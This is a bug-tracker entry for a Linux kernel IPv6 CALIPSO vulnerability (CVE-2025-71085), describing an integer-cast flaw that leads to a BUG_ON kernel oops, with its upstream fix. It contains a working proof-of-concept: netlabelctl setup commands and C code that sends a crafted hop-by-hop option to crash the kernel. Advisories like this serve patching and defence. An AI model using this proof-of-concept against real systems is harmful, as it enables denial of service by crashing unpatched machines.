Bug 2429026 (CVE-2025-71085)

Summary: CVE-2025-71085 kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerabilityAssignee: Product Security DevOps Team <prodsec-dev>
Status: NEW --- QA Contact:
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Priority: medium    
Version: unspecifiedKeywords: Security
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OS: Linux   
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Description OSIDB Bzimport 2026-01-13 16:01:33 UTC
In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

Comment 1 Mauro Matteo Cascella 2026-01-14 09:09:05 UTC
Upstream advisory:
https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T